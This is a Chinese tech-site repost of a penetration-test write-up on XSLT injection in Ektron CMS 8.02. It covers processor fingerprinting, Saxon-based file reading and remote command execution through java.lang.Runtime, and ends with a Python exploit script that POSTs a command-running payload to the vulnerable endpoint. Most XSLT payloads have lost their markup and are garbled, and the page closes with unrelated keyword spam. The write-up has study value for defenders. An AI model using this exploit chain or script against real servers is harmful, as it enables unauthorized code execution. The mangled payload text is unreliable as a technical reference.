千家信息网

XSLT注入漏洞案例分析

发表于:2026-11-04 作者:千家信息网编辑
千家信息网最后更新 2026年11月04日,这篇文章主要讲解了"XSLT注入漏洞案例分析",文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习"XSLT注入漏洞案例分析"吧!XSLT注入漏洞,漏洞存在于E
千家信息网最后更新 2026年11月04日XSLT注入漏洞案例分析

这篇文章主要讲解了"XSLT注入漏洞案例分析",文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习"XSLT注入漏洞案例分析"吧!

XSLT注入漏洞,漏洞存在于Ektron CMS 8.02的Saxon组件中,攻击者利用该漏洞,可造成SSRF甚至RCE。但研究者发现Metasploit上的exp似乎无法利用,漏洞已被修补。后来经过摸索,进一步做信息收集,最终获取RCE。

偶然发现攻击面

国外某研究人员应邀給一个大型组织做Web渗透测试。经过简单的信息收集,发现该Web应用较为简单,没有明显的缺陷。

进一步搜寻测试后,研究人员使用dirbuster(目录扫描器)发现了一个有趣的JavaScript文件,查阅文件内容显示应用程序为:Ektron CMS 8.02

简单搜索因特网,研究人员在Microsoft Research Advisory上找到关于该CMS的一些漏洞信息:

...当Ektron Web CMS 的XslCompiledTransform类处理用户控制的XSL数据时,可能会导致容易代码执行...

存在漏洞的页面:

https(s)://host/WorkArea/ContentDesigner/ekajaxtransform.aspx

目标确实存在这个页面,它可能可以存在漏洞。下一步,研究人员开始枚举目标服务器上的XSLT解析引擎,通过Burp发送一个POST请求,同时在Body处插入XSLT有效载荷:

xslt=




Version:
Vendor:
Vendor URL:



页面反馈:

Version: 1
Vendor: Microsoft
Vendor URL: http://www.microsoft.com

尝试通用Exp

此时,已经表明为Microsoft XSLT解析器。紧接着,研究人员在Metasploit上找到一个模块,可用于此攻击。设置完毕参数后,exploit,但没有返回结果。可初步判断,目标应用上的这个漏洞已修补,无法被利用,但研究者并没有放弃,查看Metasploit发送的请求:

很容易看出,它会调用一个有趣的脚本:

Microsoft XSLT 似乎可以运行C#。通过脚本元素,可以在XSLT文档或其他带外扩展中嵌入C#恶意代码。

构造一个简单的SSRF探测有效载荷:

xslt=xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:App="http://www.tempuri.org/App">

{
System.Diagnostics.Process.Start("cmd.exe /C ping IP");
}
]]>



反馈:

已禁止使用脚本。可以通过XsltSettings.EnableScript属性激活。

看来这就是为什么Metasploit模块攻击失效的原因了。虽然已在元素中嵌入C#,但脚本被禁用,无法工作。通过这点,可以确定漏洞已经修补了,攻击者无法获取RCE。但研究人员没有放弃,开始进一步搜索漏洞信息。

柳暗花明

查阅资料,研究人员找出两份关于XSLT注入攻击的研究文档[1.2],第一份为德文,较为全面地介绍了这类攻击,第二份来自IOActive。阅读相关文档后,研究人员发现其实Ektron CMS附有多个XSLT解析器,其中一个名为Saxon。枚举Saxon版本:

xslt=


Version:
Vendor:
Vendor URL:

反馈:

Version: 2.0
Vendor: SAXON 9.x.x.x from Saxonica
Vendor URL: http://www.saxonica.com/

Saxon解析器可以正常解析用户输入,同时提供反馈。接下来,攻击者可以尝试读取一些文件,枚举信息甚至命令执行。

读取文件:

xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:saxon="http://saxon.sf.net/">


asdf



asdf

查看当前目录:

xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:saxon="http://saxon.sf.net/">


asdf



asdf

查看当前用户和域:

xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:saxon="http://saxon.sf.net/">


asdf




asdf

攻击者现在可以探测服务器目录结构,读取服务器上的大部分文件,SAM文件除外,因为Web应用用户权限不足。

Getshell

研究人员的最终目标是命令执行,但文档中没有可用的XSLT样式。进一步研究那份德文文档,发现可以Xalan处理器来执行Java代码,但Saxon解析器没有声明命名空间。

尝试构造模块,反馈错误。


xmlns:Runtime="java:java.lang.Runtime"/>

研究Saxonica文档后,研究人员发现可利用命名空间和某些函数,构造XSLT文档来执行命令:

xslt=



.

后来发现没有声明java的命名空间:

xmlns:java="http://saxon.sf.net/java-type">

如果没有声明命名空间,处理器不能找到与java:java.lang.Runtime相关的外部对象或脚本。

发送有效负载,研究人员可执行任意命令,并且可以与Empire框架连接,至此web渗透部分结束。

利用脚本

#! /usr/bin/python
import httplib

target = raw_input("""Enter the domain or IP address of target:
e.g. www.google.com, or 198.162.0.1: """)
port = raw_input("""Enter port number of target
e.g. 80 or 443: """)
process = raw_input("""Enter the process you wish to run:
powershell.exe or cmd.exe: """)
command = raw_input("""Enter command you wish to run:
e.g. ping 127.0.0.1: """)


def printText(txt):
lines = txt.split('\n')
for line in lines:
print line.strip()

httpServ = httplib.HTTPConnection( target, port)
httpServ.connect()

payload = """
xslt=
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:java="http://saxon.sf.net/java-type">

xmlns:Runtime="java:java.lang.Runtime"/>

""" % (process,command)

headers = {"Content-type": "application/x-www-form-urlend; charset=UTF-8", "Accept": "application/x-www-form-urlencoded; charset=UTF-8"}

httpServ.request('POST', '/WorkArea/ContentDesigner/ekajaxtransform.aspx', payload, headers)

response = httpServ.getresponse()
if response.status == httplib.OK:
print "Java Process Id: "
printText (response.read())

httpServ.close()

感谢各位的阅读,以上就是"XSLT注入漏洞案例分析"的内容了,经过本文的学习后,相信大家对XSLT注入漏洞案例分析这一问题有了更深刻的体会,具体使用情况还需要大家实践验证。这里是,小编将为大家推送更多相关知识点的文章,欢迎关注!

研究 漏洞 人员 研究人员 攻击 文档 文件 脚本 信息 案例 案例分析 分析 命令 攻击者 用户 目标 空间 进一 应用 有效 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 华服互联网科技靠谱吗 科技互联网公司装修 广州互联网科技公司 国外互联网科技网站 佰商互联网科技有限公司 卓越科技互联网 招聘 镁科技互联网资讯平台 蓝色互联网科技 互联网科技教育视频 互联网和黑科技的看法 世界互联网领先科技成果获奖 互联网金融科技公司的优势 深圳互联网科技的发展 江苏苏星互联网科技有限公司 富国互联网科技002692 上海创道互联网络科技有限公司 长沙渺峰互联网科技有限公司 张家口科技产业互联网平台 银川新华互联网科技学校原画 互联网对科技影响 互联网新科技 科技互联网政务服务 顺玮阁互联网科技 深圳前海聚择互联网科技有限公司 银川新华互联网科技职业技术培训学校图片 四川慕妮娅互联网科技有限公司 中国互联网有什么科技 风投北京互联网科技 北京互联网科技类企业分布 安徽零酒互联网科技有限公司
0